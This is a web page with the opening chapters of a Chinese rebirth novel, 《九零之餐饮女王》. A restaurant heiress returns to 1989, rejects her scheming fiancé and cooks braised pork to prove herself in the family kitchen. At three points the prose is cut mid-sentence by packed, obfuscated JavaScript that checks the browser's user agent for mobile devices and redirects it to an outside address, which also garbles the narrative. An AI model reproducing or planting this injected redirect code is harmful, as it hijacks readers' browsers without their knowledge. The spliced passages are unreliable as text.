《九零之餐饮女王》 1. 跟着感觉走 第一章重生 老南城芭蕉坝菜市场内热闹非凡。 沈木犀站在菜场门口，脑子一片空白。 她清晰地记得芭蕉坝菜市场早在十几年前因城市棚户改造，被新的百货大楼替代了。 现在这里为何还是人头窜动？ 沈木犀蹙着眉扭脸看向菜场中央的公平秤，它的上方是硕大的日历牌。 上面清晰地写着——1989年4月4日。 一副红色横幅徐徐往下挪着，最终将日历掩盖，展出“今年技校扩招，欢迎广大适龄市民报考！”的字样。 菜场里的广播也在同步播报着条幅的内容，一声电流夹杂的啸叫，将恍惚中的沈木犀拉回现实。 现在是1989年？不会是梦里吧。 沈木犀站在菜场门口第一家卖调味品的摊前。 呛鼻的干辣椒和花椒味直冲天灵盖，她将摊上的一小颗干辣椒塞进了嘴里。 “——嘶！” 辣！ 辣得沈木犀舌头和口腔乃至脑子都冒烟了。 这感觉简直—— 太过瘾了！ 沈木犀有些不可置信，她二十来岁时因为一次试菜，食物中毒后便失去了味觉，自那之后沈木犀没有了味觉。 现如今味觉又回来了？ 火辣的滋味还在口腔之中，沈木犀恨不得把一旁的花椒也塞进嘴里。 她低头的瞬间，呆住了！ 她看见地上的塑料大盆里泡发着鱿鱼和笋干，白生生的。 水面上倒影出她的模样——一身黄底碎花长裙，那分明是自己20岁时的样子！ 一个男人从摊位深处走出来。 沈木犀认得，是叶三叔，不过是叶三叔年轻时的模样。 三叔不似三叔，更像是三哥一般。 这感觉久违了。 上一世，叶三叔在给沈家酒楼送货时偶遇了那场酒楼火灾，死在了那场大火里。 那天沈木犀回来的晚，在火灾后的现场，她看见地上还残留着叶三叔给自己带的虾干。 后来沈木犀常常想起叶三叔，想念他曾经给她特意留的小虾干，再后来那滋味她都快不记得了。 “犀犀？” 沈木犀的思绪被拉回，她是还有些恍惚，能叫她犀犀的人，上一世里都已离开了。沈木犀愣愣地看着叶三叔，鼻子猛地有些发酸。 “你怎么在这儿？” 我怎么会在这儿呢？沈木犀清晰地记得自己上一秒刚经历了赘婿陈炎败坏家产的名场面。 如果不是重生，她也无法解释自己为什么还带着上一世的记忆出现在了1989年的菜市场里。 叶三叔没看她，搬着手边的货。 “你爹今天不是给你在沈家酒楼招婿呢？酒楼里是还缺什么料吗？你把单子给我，叔给你送去，赶紧回去忙吧。” 沈木犀愣在原地不敢搭腔，也不敢细瞧。怕瞧真了，是在梦里。 叶三叔没看出沈木犀的异样，从摊上的几十种香料理里抓过一把小虾干递到沈木犀手里。叶三叔走近沈木犀，他浑身散发着各种香辛料的味道。 沈木犀将小虾干往嘴里塞。 咸的，然后舌面上传来十足的鲜味，是二十岁时沈木犀认为的“海的味道”。沈木犀也是在叶三叔的香料摊前从各种调料开始先认识的这个世界。那些所谓的学艺的日子快速地闪现。 ——这是广西的桂皮。 ——这是福建的紫菜。 ——这是兰州的百合。 ——这是内江的白糖。 ——这是东北的酸菜。 ——这是河南的辣椒。 ——这是四川的花椒。 …… 都化成了沈木犀手上的这些被投喂的虾干。 沈木犀嚼着虾干喃喃“三叔你说今天什么日子来着？” 叶三叔打包着干辣椒的蛇皮袋，哼出声。 “四月四日，沈家酒楼有好事。”叶三叔手里不停，按照其他饭店里给的订单将所有调料分门别类归置着等下好送货，顿了下，抬眼看沈木犀。 “你爹是不是有病，什么破日子给你招婿，要我说……” 沈木犀随着叶三叔的话，对上了他的眼。叶三叔可能觉得自己话多了，尴尬地瘪了瘪嘴。 “没事儿，三叔你直说。” 叶三叔左右看了看，叹口气。 “犀犀，你那未过门的男人，什么陈……？” “炎。” 一个人名字两个字，谁都不想把他名字说全。 “我听说啊……他总在菜场里赊账……好些人给我看了单子。” 沈木犀点点头，看来上一世债务的危机不是一天两天积攒的，赘婿还没过门前就开始了。 叶三叔看着沈木犀一脸并不吃惊的样子，码着胆子继续说。 “犀犀你是我看大的，我是觉得那人……” “明白了，叔，等我回酒楼。” 叶三叔看着沈木犀，他感觉沈木犀似明白又不明白的样子，暗暗叹出口气。 1989年的4月4日，确实不是个吉利日子。 “我回来就是因为……” 叶三叔放下手中的货，眼中闪出一丝希望，认真地听沈木犀讲话。 沈木犀看着叶三叔期待的眼神，没说出那句“要把陈炎踹了”。 沈木犀想想，都重活一世了，上辈子的糟心事别再让担心她的人糟心了。 “我……给酒楼添个东西就走” 沈木犀低头捏着手里的虾干，转移话题“这个虾干，质量真不错，鲜味刚刚好。” 叶三叔笑笑。 “你那不争气的十七哥也这么说。” 沈木犀笑笑看着叶三叔又将一大袋干辣椒堆上货架，于是搭了把手，二人合力推了上去。 沈木犀转身想走，碰到了脚边的一个陶罐。 这是一种醪糟，叶三叔卖香料，搭着卖点这些东西，也是常有的。 “你十七哥上个礼拜去赤水镇带回来的，我不让买，他非要。说要是吃不完，就留店里卖……” “我要。” 沈木犀低头将那陶罐抱起来，放进自行车框里。 “哎？你……你不是给酒楼添东西？”叶三叔手指向菜市场里。 “啊，就这个，三叔你也记账上啊。” 于是沈木犀就着这个理由，抱上陶罐，骑着自行车离开了菜市场。 阳光洒在沈木犀的身上，她认认真真地感受着街道上正在发生的一切。 又回到了熟悉的车站路，车站门口的盗版音乐磁带摊上，正播放着这一年苏芮在春晚上唱的《跟着感觉走》。 “跟着感觉走，抓紧梦的手。 脚步越来越轻越来越快活，尽情挥洒自己的笑容。 爱情会在任何地方留我……” 沈木犀手指轻敲着自行车把，心里跟着哼唱，回忆也慢慢清晰起来—— 上一世，沈木犀家是开酒楼的，她家的酒楼位于老城锅炉厂的十字路口。这个位置在老城区里是中心的中心，后来城区棚户改造，这块的房价就涨得离谱了，沈家一跃成了老城的新贵。 之后，八九十年代沈家酒楼利用稳扎稳打的餐饮口碑和投资老城区房产的眼光，实力越发雄厚。到后来众所周知的，沈家的继承人沈木犀其实就是个富婆！ 沈木犀的母亲走的早，父亲沈国华一个人扛起了经营沈家酒楼的责任。对于独生女沈木犀，沈国华也格外重视，为了不让女儿日后吃苦，于是在众弟子中挑选一人当上门女婿，跟沈木犀一起继承酒楼。 大弟子陈炎凭借厨艺和人品脱颖而出，很快便获得沈国华的信任。沈木犀也觉得找个合适的人帮着管理沈家酒楼，还能照顾自己，没什么不好，而且陈炎长得还行。 后来老城区面临改造，沈家酒楼需要转型之际，沈木犀她爹大病一场，陈炎也逐渐开始暴露了本性。 陈炎其实不爱做菜，入门后便开始摆起自己十指不沾阳春水的谱来。 对于酒楼里的菜式杂物一律不过问，成天的只是在门口与人迎来送往。 要说他那爱打扮的花里胡哨的爱好，每天一套夸张造型的行头，是沈家酒楼雇来在门口的吉祥物一点也不过分。 他甚至告诉旁人后厨太脏，油烟味会污了自己老板身份。人前也总是吹嘘自己如何为沈家酒楼鞠躬尽瘁，更是扬言一定要让沈家酒楼改姓陈，叫陈家酒楼！ 面对流言，沈木犀和父亲觉得，只要人是一家的，这酒楼姓啥也无所谓。但是陈炎不这么想，更是背着沈家父女在外四处乱投项目不惜借债，最后还动了把酒楼卖了的心思。 婚后的几十年里，沈木犀的父亲也走了。 在此之前沈木犀发现陈炎婚前竟还有一对私生子女，沈木犀为了沈家酒楼的招牌答应了临终的父亲，不会更换主厨，也就变相许诺了不会和陈炎离婚。于是闭一只眼，默许了陈炎接济私生子女长大成人。 后来在嫁陈炎的几十年里，看着陈炎的一双私生子，沈木犀对陈炎再没了期待，也就没有了要孩子的念头。 沈木犀几十年如一日的只来回菜场和后厨，做沈家酒楼的采买工作，其他事情一概不过问。 把外人说的安逸的富婆日子过得像真的一样。但只有沈木犀知道这日子过的就是一汪死水，她好像心早也死了。 很多时候沈木犀都觉得自己是不是就是死了，只有一副躯壳还在这个世界上。因为一旦她想活的像个人，她就得全副武装的去和这个世界战、斗。 年近45岁，沈木犀资产过亿，身边的这个男人也和生活在豪门中的男人一样，不着家。 沈木犀日日清淡饮食，性情看似平静，天天的练着瑜伽，却总是不见身体转好。菜场的蒙古大夫说她心脉受损，得吃中药。 直到陈炎将相好的带进私宅中调情。 这私宅是沈家酒楼的后院沈园，一般外人是入不得的。陈炎也是过了门才有了进后院的资格。 沈家酒楼最富盛名的不仅仅有拿手的招牌菜，还有那前楼观后院，移步一借景的审美意境。 这是到了这一代，只有沈木犀才知道的，沈家酒楼的秘密。 偏偏陈炎带来的那女人，是老城里顶顶大名“顾家百年老号私房菜”的老板娘——顾星河。 找什么样的不好，非要找对家老板娘，且不说那顾家老号和沈家酒楼是死对头。那顾星河与沈木犀还是划片小学的同学。 沈木犀太知道顾星河勾搭陈炎是为啥了。 同为老城酒楼子弟，沈木犀可以不用管酒楼被家里宠着，顺理成章成为继承人。但顾星河不一样，据说顾星河是顾老爷子有一年去山里寻味时与农妇生的私生女。明面上是家里的长姐，实则就是顾家不要钱的大管家。 货比货得扔，人比人得气死。 顾星河于公于私都看不惯、容不下沈木犀。 沈木犀不开心，一直就是顾星河最开心的事。 要不是蒙古大夫嘱咐每日一喝的中药还在院中煎着，沈木犀忘了灭炉子又折了回来。 陈炎带着那女人在院中走着。 “我老婆和我那死了的老丈人一样，只认他们自己的死理。一个只知道做菜，一个只会吃。现在老头死了，沈木犀也不管事儿。啥时候咱两家并一家，做大做强，你说是不是？” “可是沈家酒楼终归还是人沈木犀的啊，你说了能算吗？” 顾星河边说边仔细瞧着这院内的样子，有一搭没一搭地回着话。 “她沈木犀嫁给了我，就得嫁鸡随鸡，嫁狗随狗。” 陈炎把自己当鸡当狗，就是没有把自己当人。沈木犀人到中年，离婚的信念第一次这么坚定，这婚必须得离了。 沈木犀身旁靠着一把扫落叶的耙子，提起就要把那两人叉出去。 这时院内一角一副朽了的沈家招牌匾额轰得倒下了，差点砸到了陈炎，惊得二人不敢在往前半步。 顾星河远远地看着地上的那匾额，似是吓得往陈炎身上贴。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918740|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这怕不是你家老丈人显灵了吧。” 陈炎得了便宜卖乖，一把搂住顾星河。 “老爷子就是活了也得听我这个大当家的。” 陈炎当即在那块朽了的牌匾上，重重地踩了两下，直到将沈字踏平。 顾星河白了一眼陈炎，嗔怪地继续说。 “这老宅就没别的说头了？” “也就眼前这样了啊，我早都住腻了，沈木犀啥也不让改。”陈炎点了点自己的脑袋，“老古董了。” 顾星河见眼前也再无可考，于是扭着腰被陈炎揽着往外去了。 见二人离去，沈木犀看向地上招牌。偌大的沈园，沈木犀静静地将招牌立起小心地擦着。 需尽快将家里的财产清点好，到时候让陈炎从哪儿来的滚回哪儿去。 这个决定一旦做了，沈木犀觉得浑身舒爽，原来症结全在这儿，于是她把旁边还在咕嘟的中药一股脑全倒了。 隔日。 沈木犀还未清点完账目将陈炎扫地出门，就有人带着欠条字据来了酒楼。 陈炎嘴角泛红，显然是被人教训了一番。他直接被三五个打手像垃圾一样扔到了沈木犀的脚跟前。 站在前边的红胡子先开口。 “陈先生说沈家酒楼家底殷实，他周转做生意向我们借了点钱用用，现如今到还款日期了，所以今日特地登门拜访。” 沈木犀客气地笑说。 “陈炎欠了钱，就让他自己还呗。” 沈木犀连看都没看陈炎一眼，转身打算要走。 “沈老板吧，现在这情况是陈先生说他自己拿不出这么多钱。要不然这样，他之前还给我们提了另外一种还款方式。这沈家酒楼连带后院的房产，他当时押给我们了，如果咱拿不出来这么多少钱，这楼和后院我们就要收走了。” 红胡子说完把票据押在了前台的桌上。 沈木犀听着酒楼连带后院房产被抵押，心想陈炎没有这狗胆，但以防万一，还是去拿了票据细读起来。 3000万现金，陈炎真是狗胆包天！ 她清楚地看见陈炎的个人签名和财务签章一一出现在了相应的地方。 沈木犀不过问酒楼经营，但是陈炎作为酒楼经理有权取用财务印，这她是知道的。 沈木犀当下就有些不适，强作镇定。 “还钱，也总得有个时间吧。” 陈炎见沈木犀似松了口，畏畏缩缩地站了出来。 “老婆，当时我们签的是10日付清。” 沈木犀实在不想看见他，打开抽屉，又仔细翻看了后面的账本。 不看还好，一看沈木犀就发现了端倪。 每月流水合理，但是入不敷出，并且陈炎调取财务签章的次数很多！ 这时，一群人乌泱泱冲了进来，都是酒楼各个端口的供货商们，他们手里挥舞着单子。 沈木犀这下终于明白了，陈炎明面上的账不敢动，但私下里压了供货商们的货款。拿着货款私用，现在投资失败周转不开，又抵押了房产。关键是抵押的房产还连带后院，那是沈家几代的基业。 沈木犀简直不敢再往下想。 一个戴眼镜的菜贩子看着这么多人来要钱，沈家酒楼或许真的有危机了，顺势叫嚣了起来。 “今天要是拿不出钱来，我们就搬东西，搬完这里的，再……再搬后院的！” 众人像是得了号令，说着就开始拿。 “沈家后院不得外人入内，我看今天谁敢进。” 沈木犀呵道！ 一时震了大家不敢往前，但人们见各自手里都带着票据，现在沈家主事的还是个中年女人，就又无所畏惧起来。 “你算什么东西，一女人。这餐饮一条街就没有女人当家的，后厨更别说了。” 那人是谁，沈木犀都没看清，他就撂下了这么一句话，直接抄上桌子板凳往外走。 后来的几个要账的，见眼前的物件都快被拿完，便有些急了眼，相互间还撕扯起来，甚至抄起家伙事儿，直直地砸向了沈家酒楼的牌匾。 “哐！——” 牌匾落了下来，那些人踩着沈家酒楼的牌匾，肆意乱抢。 沈木犀想要阻拦他们，却只能先顾住牌匾。 这时后厨赶来的一众师兄弟们直接参与了混战。 几伙人拉扯得不可开交，推搡间沈木犀一个趔趄摔了出去。 一双手将沈木犀稳稳地扶住，撞入沈木犀眼中的是一位气质不凡的成熟男人，这男人很眼熟……像是多年前的一位小师弟。 那小师弟拜师最晚，多在后厨切墩，脸都不爱抬几次，平时话也不多，好像……姓顾？ 沈木犀短暂闪过几个信息，一时分不清这人到底哪儿来的，又瞧了眼他手边的匾额。 护住了牌匾就好，别再被踩踏了。 见场子彻底乱了，陈炎想跑，却反手被菜贩子青菜刘拦住了去处。 “陈总，这时候您是要去哪儿啊？” “实在对不住，要是这儿不够搬的话……后厨！后厨有直接通往后院的门。”陈炎双手抱头，作揖求饶。 于是得了消息的人们，一窝峰又冲去了后厨。 沈木犀挣开身边的男人快步上前去拦，却被人搡到了一边。 师兄弟们见状撒开膀子要和这些人拼了！ 沈木犀被摔坐在了地上，看着沈家酒楼的牌匾被踩踏在众人脚下，模糊粉碎。 沈木犀耳畔响起父亲的话来。 “这牌匾是沈家酒楼的脸面……” 眼前泛起雾气，恍惚间沈木犀似看见了后院的长廊上，父亲静静地躺在摇椅上休养。 但很快沈木犀只觉得天旋地转，两眼一黑。 沈木犀也没有想到自己再次醒来时，居然回到了一九八九年的这个初夏…… 她来到十字路口，从自行车上下来，沿街边的门房洞钻进去。 抬头她看见了那幢记忆中一样的，破旧但十分明亮宽敞的从未被烧过的——沈家酒楼！ 2. 回家 沈木犀骑着单车感受着属于这个时代的一切。 交警站在岗亭上指挥着交通，人们站在阳光下的斑马线上，夏风将地面上的树影吹得波动…… 沈木犀看着眼前发生的一切心想，再等一下就好了，下个路口沈家酒楼就到了。 沈木犀在酒楼外停车，隔壁烟杂店的老板娘李婶招呼她。 “木犀，回来啦。今天你爹不是在店里给你招上门女婿？你不得赶紧的？” 沈木犀边靠拢自行车，边打趣。 “李婶，生意来了。” 沈木犀说完赶紧往酒楼里跑。 太好了，一切还来得及！ 李婶转过身才发现，没人光顾，又被这丫头骗了。 “这个木犀丫头，还说不急，跑啥啊？你那自行车里的陶罐落下了！” 沈木犀又调转头小跑回来取走陶罐嘱咐道。 “李婶，不笑我了，就给你留红烧肉。” 李婶听到有好吃的，赶忙捂嘴噤声，啥不比这沈家酒楼的招牌红烧肉强啊，想想都流口水。 ****** 一众服务员正摆弄着沈家酒楼的牌匾，歪七扭八地好一会儿了都挂不上。 这匾额总是独独往左下歪坠着，不慎就要滑落时，却被一只手稳稳地托住向上，众人顺势合力将匾额挂好了。 众人再往下看时，原来是沈木犀回来了。 沈木犀怀里抱着陶罐，仔细瞧着这副牌匾。 “沈家酒楼”四个字红底烫金，耀眼夺目。 沈木犀瞧得有些入神，只觉得这牌匾是好久不见的一位“挚友”。 这感觉太好了，沈家酒楼和她都又回到了自己的位置上。 服务员应红凑到沈木犀跟前。 “小沈老板，你怎么才回来啊，大师兄那菜都快做好了。” “臭豆腐吧。” “是红烧肉，我们几个口水都快流出来了。看来你这次是得嫁人了。” 沈木犀轻哼了声，摆摆手往后厨出去。 来到后厨的大门前，沈木犀调整了下呼吸，她郑重地举起双手，推开了那扇大门。 食物散发的香味随着热浪扑面而来，是美食所散发的香味，热烈又迷人，沈木犀觉得真好啊。 众师兄弟们正在热火朝天地顾着各自眼前的菜仔细严谨地烹制着。 只是现下的后厨，被装置的十分喜庆，好多红色彩纸，在火光的反射下显得有些刺眼。沈木犀甚至用手遮了下眼。 年轻的陈炎也因为他周围的红色彩纸十分显眼。 厨子里身材保持得较好，帅是真的帅，但沈木犀再看时，有些腻了，俗气。 陈炎见沈木犀到了，赶忙凑了过来。 陈炎有些拘着，拿过一些彩纸，攒了朵花，递给沈木犀。 “小师妹，给。” 沈木犀没有看他，和师兄弟们打招呼。 “厨房重地你搞这些个花里胡哨的，太危险了，撤了吧。” 陈炎递出去的花没有被过，手尬在了空中。 这一幕，周遭的师兄弟们也看在眼里，于是陈炎招呼大家把身边装置的彩纸收起来。 沈木犀绕过身前的陈炎，拿起了案上他刚做好的那碗红烧肉。 陈炎脸上这才消了些尴尬，又迎了上来。 “小师妹，尝尝这招牌红烧肉。” 那红烧肉泛着热气，亮油赤酱，单闻着就有一丝丝的甜味。再闻还透着隐约的焦香，这是陈炎炒糖、猛火收汁，才能达到的效果。 沈木犀夹了一块，放进嘴里。 陈炎见沈木犀动了筷子，嘴角抑制不住地上扬。 这一次他对拿下沈木犀和沈家酒楼，都势在必得。 “甜过了，失败！颜色不够红，失败！香气到嘴里就戛然而止了，失败中的失败！大师兄，你怎么连沈家酒楼排第一的招牌红烧肉都做不好了呀。厨子不看菜谱改学扎花了？” 陈炎嘴角向上的弧度渐渐消失，紧接着强堆笑脸。 “这要是不行……我可以重做啊。” “嗐，今天这事儿我爹就一瞎忙活，你可别让我爹知道这是你做的。我都怕他不教你别的本事了？” 沈木犀背对后厨大门，与陈炎面对面，陈炎透过沈木犀隐约见到了师父沈国华的衣角在后厨大门边。 于是陈炎赶忙拉住要走的沈木犀。 “可是，今天做菜不就是因为咱俩……？” “这事儿啊，以后再说吧。” “木犀，这就没意思了。别的菜你怎么说都行，红烧肉可不像你说的这么简单啊。” 见师兄弟们纷纷放下手中的东西看向两人，陈炎又提高了音量继续道。 “你平时不在后厨，红烧肉的做法你应该不太清楚。大师兄我应该比小师妹你略知一二，再说红烧肉有几种做法，不知道师父给小师妹说过没有？” 沈木犀很清楚陈炎是为了逼自己站上灶台做一道，让大家比比看。 陈炎见沈木犀迟迟未答应，顺势递了个眼神给身边几个师兄弟，示意起哄。 与陈炎一伙的师兄弟们见师父不在，又得了大师兄的令，趁势帮腔。 “是啊小师妹，这做菜可不像咱们平时吃饭，按自己喜好来。这好不好的，我们都能看得见。你要不试试？” 这开腔的是二师兄胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918741|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大力，也是陈炎的狗腿子，拿着沈家的工钱，一脸的横肉透着一股吃里扒外的样子。 沈木犀虽然也很不喜欢他，但他刀工了得。 胡大力家里世代铁匠，对于煅打铁器很有心得，耳濡目染中练就一手绝技刀工。 单是那道蒜泥白肉，片得薄如纸，肥瘦均匀，入口即化。 这样的本事二师兄胡大力独一份，沈家酒楼的招牌菜里也有他的一席之地。 这后厨就是这样，手上没点功夫，说破天了也是个嘴把式。 凭真本事服人，凭真本事论地位，是沈家酒楼的规矩，也是这世界的规矩。 陈炎料准了沈木犀不会做菜，有意拿这些来压她一头。 沈木犀听懂了陈炎的言外之意，说得在理。 自己作为沈家酒楼的第一继承人，是该重新排排这后厨的地位了。 沈木犀转身正想应战，却被沈国华的声音打断了。 “好呀，我也想尝尝木犀烧出来的红烧肉是什么味道。” 沈国华边说着边往里走，直至来到了沈木犀的面前。 印象里，沈木犀已经很久没有见过父亲如此矫健的样子了，还是记忆里高大的样子。可是后来为何突然拄拐，再后来只能终日躺在院中了呢…… 从前觉得爷爷手里总是掂着炒勺在灶前转悠，没事儿就把木犀唤到跟前，递给她专门的小勺，让她尝尝大锅里的猪血汤怎么样？ 爷爷也总是叮嘱她，尝准味道，才能守住沈家酒楼！ 后来爷爷离世，做饭的成了父亲。 木犀又代替爷爷给父亲试菜，一遍遍地尝出属于沈家酒楼，最好的味道。 那时候的沈木犀从来没有想过有一天自己需要为沈家酒楼做些什么。 以为只要沈家酒楼在，便能让自己一世安稳。却不曾想有一日，和自己一样出生、成长在这里的沈家酒楼，会被自己牵连，摇摇欲坠。 回过神来的沈木犀赶忙将父亲揽上，看着眼前的父亲和这间酒楼，沈木犀抚摸着灶上的器具。 这还是那个如火如荼，生机勃勃的沈家酒楼啊。 熟悉的感觉又回来了。 或许自己早该来到这灶台前，为自己、也为爱自己的人守住些什么。 父亲仍在眼前，酒楼熠熠生辉。 如今，那些属于她的爱还在，或者说再次出现。 沈木犀的眼眶不觉有些湿润，险些让一旁的陈炎觉察出异样。 陈炎催促着。 “小师妹，行吗？” 沈木犀将父亲扶入座八仙桌坐好。 沈木犀扭脸盯着陈炎，冷声道。 “行。” 3. 红烧肉 沈木犀答应得干脆，碟盘用具很快就准备好了，架子摆得十分足。 坐在一旁的沈国华脸上的微笑很快消失，眉头显露出让人不易察觉的紧张。 他太清楚自己的女儿是个什么样了，最多是见过猪跑的水平。 看着灶台前的沈木犀，沈国华甚至也在开始怀疑自己太过宠爱女儿会不会是错了。 因为等下可能真的要打脸了。 平时沈国华为了立住“沈家酒楼”味道的神秘感，其实多少有夸张吹嘘沈木犀食味的才能。 “沈木犀3岁尝百味，百种香料，倒背如流。” “沈木犀7岁识百菜，千种搭配，如数家珍。” “沈木犀的舌头就是沈家酒楼的未来！“ “……” 沈国华脑子里不停闪现自己曾经说过的话，什么家珍……什么未来……沈国华现下就想咬断自己的舌头。 后来，沈国华终于想到了一个好办法！ 为了让沈木犀不在后续的人生里，被人拿捏短板，他想到一招——招婿保平安！ 但现如今看来，沈国华不敢再想，也不想看，他怕得很…… “木犀啊，我……” “爹怎么了？” “我……我想上厕所。” 这个理由真是…… “爹，只是一点，如果今日我端出的菜能让师兄弟们信服，招婿的事情，能不能由我自己作主？” 沈木犀侧偏向父亲，对话只有二人听得见。 沈国华一心想要离开这个是非地，小鸡啄米似得使劲点头，一溜烟地离开了后厨。 沈国华就是这么一个爹，只要能有一个事情解了当下这个结，至于今后是不是要打更大的结，他也是有点不管不顾了。谁让他就只有这么一个女儿呢？ 既然没有了后顾之忧，沈木犀打算就用这一道红烧肉和陈炎结下该结的梁子吧！ 点火。 热锅。 滑油。 伸手…… 怎么没有人给自己递料？ 沈木犀的手悬置空中，什么也没有。她的手轻轻地握了两下，稍稍化解了下尴尬。 沈木犀掂着勺子转身，却发现身后以陈炎为首的师兄弟们正环抱着膀子，似是面露慈祥的齐齐看着她。 很好！ 沈木犀的脸上没有任何表情，她走下灶台，只见胡大力将一罐冰、糖推了过来，但沈木犀越过了那罐□□、糖，将手伸向了一旁陶罐里的片糖。 陈炎的脸上闪过一丝不被察觉地惊讶。 身后的众师兄弟们也觉得有些奇怪，身体都有些微妙地起伏。 “片糖和冰糖只是制作工艺上有差，这么选择，区别也不大啊，说白了也只是蔗糖而已。” 开口的是三师兄——叶十七。 叶十七是叶三叔的小儿子。 叶三叔做干辣椒、花椒生意，叶家是沈家调味料的供货商。 叶十七自然对香料这块有一些自己独到的认知。 叶十七的名字也是因为他周岁蒙眼就可以识别出十七种香味料而得。 当然不知道是不是叶三叔也有夸张的成份。 想起刚才师兄弟们的脸，沈木犀觉得也真是有够讨厌的，以至于自己手心使劲用力片糖便成了渣，滑入锅内。 片糖经过捏碎，入油中熬制，沈木犀沉着冷静地将火调小。 不要着急，糖得慢慢熬。 她和陈炎的事，也得慢慢收拾。 只见片糖慢慢融化成黄色的糖液，经过勺子来回的翻搅降温，慢慢地改变着颜色。 黄色糖液变成红棕色。 糖液随着温度的升高，冲破油脂，翻滚成大泡泡。 现在还没有到时候，糖的甜香开始散发。 很快，大泡泡变成小泡泡，绵密细致，焦香开始显露。 就是这个时候！ 沈木犀将手边四方块的五花肉沿锅边滑入，顺势翻炒。 沈木犀稍微松了口气，糖没有糊。 糖糊就是一瞬间，沈木犀觉得就像她曾经理解的爱情一样。 陈炎好像什么都好，长得也帅，但就是太心急了。 一把猛火将甜蜜的生活，烧了个焦。剩下的就是在沈木犀嘴里泛起的苦糊味。 陈炎的吃相太难看了。 不能继续想了，想想沈木犀得吐了。 肉选择的是肥瘦均匀，三线分明的正五花。 经过油温的烹制，已渐渐上起了红润的光泽。 一勺老抽、两勺生抽、一勺红乳酱汁，继续上色。 颜色越发好看了，酱汁挂在肉上越发紧致，水气与油色渐渐剥离。 感觉现在就很好吃了。 这时胡大力又端过一大碗水。 沈木犀开心地接过，伸手探着碗边的温度，笑了。 “二师兄，这凉水是在考我呢？” “加水，开烧了呀！” 沈木犀心道，真是有够阴险的，这凉水一入，锅内迅速降温，肉就紧了，再想煮得软烂好吃就难了。 沈木犀仍是保持着最后的礼貌，笑着没有接胡大力的水。 她转头拿过开水瓶将热水倒入锅中。 胡大力悻悻地看向陈炎，陈炎却一副蛮不在乎的样子。 “这小师妹，真是不会做菜。这猪肉天生就是有味儿的，调味到这番，去腥的事儿都忘脑后了。葱姜不加，料酒也不下，其他香料更是不聊了……我看也就是会炒炒糖色。” 陈炎的身后，不知是谁在叨叨，说得挺有道理，仿佛把陈炎没说出来的话，全说了一样。 陈炎的嘴角牵出一丝轻蔑的笑意。 锅内的水复开，翻滚起大大的水泡。 沈木犀认真地将水面中泛起的血沫捞起打掉。 这让一旁的陈炎稍挑了下眉。 其实新鲜和水分少的猪肉几乎可以做到没有血沫，这也是检验猪肉采购的标准之一。 这是沈木犀爷爷作为杀猪匠的教导。 小时候沈木犀总爱围着锅台转，爱吃成了她的标签。 美味是一种直接的感受，它让人感到满足和最实在的幸福。 “肉类食材，新鲜是最关键的。像红烧肉这样长时间烧制的菜，水份的蒸发扬散，也可以去腥。如果觉得还不够，要干嘛呀，接下来？” 爷爷看着两眼泛光等着美味的小木犀，轻声问道。 “快，快一点，我饿了！要加酒，这样就可以加速挥发！” 爷爷看着嘴馋的小木犀笑出了声。 “好好好，加酒！” 木犀爷爷从柜中拿出一个土陶罐，在沈木犀的眼前晃了晃。 …… 回忆如昨，沈木犀手边正拿着先前在菜场里换来的土陶罐。 沈木犀打开罐子，将鼻子凑近闻了闻。 很新鲜的醪糟，沈木犀将干净的勺子篦出米酒汁，盛出加进了锅里。 大火的锅内仍在翻腾，与之前不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918742|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同的是散出阵阵甜柔的酒香。 细密的味道散至沈木犀的后方，令众师兄弟忍不住的往前探着身子。 “菜市场的醪糟也不是什么稀奇的东西。” 终于陈炎开口了，继续道。 “以酒去腥，倒也是个法子。” 陈炎又转头看向众师兄弟，“看来咱们小师妹也没有白吃那么多好东西啊，还真是有两把刷子在身上。” 陈炎稍抬了抬下巴，举起手慢慢地拍了拍手。 陈炎拍手拍的小声，却带动了众师兄弟们大声起哄。 沈木犀只觉得曾经对陈炎的认知太浅薄了，真是咬人的狗不叫啊。 沈木犀并未转过头，见中火将汤汁收得差不多，她才转大火将汤汁收干。 这和平时挂汤的红烧肉不一样，现在饭后没多久，大家饱腹感还是在的，试菜也不会配饭。 要想增加香味，还是得收干汤汁，让肉挂上所有酱汁，使焦香催发所有香味，还得再等一下。 关火，沈木犀将手探向盘子，却被一只温厚的盘子拦住。 “顾……小师弟？” 沈木犀很快会意，接过顾小师弟手中的这只盘子，将这道浓油赤酱的红烧肉装入热盘。 再抬眼时，这个小师弟就又不知隐入何方了。 看着眼前这红烧肉，其实大家心中多少也有些分数了。 色、香已经算得上成功一大半了。 还没等沈木犀开口，大家都纷纷拿上筷子开吃了。 “嗯？” “哎？” “啊？” 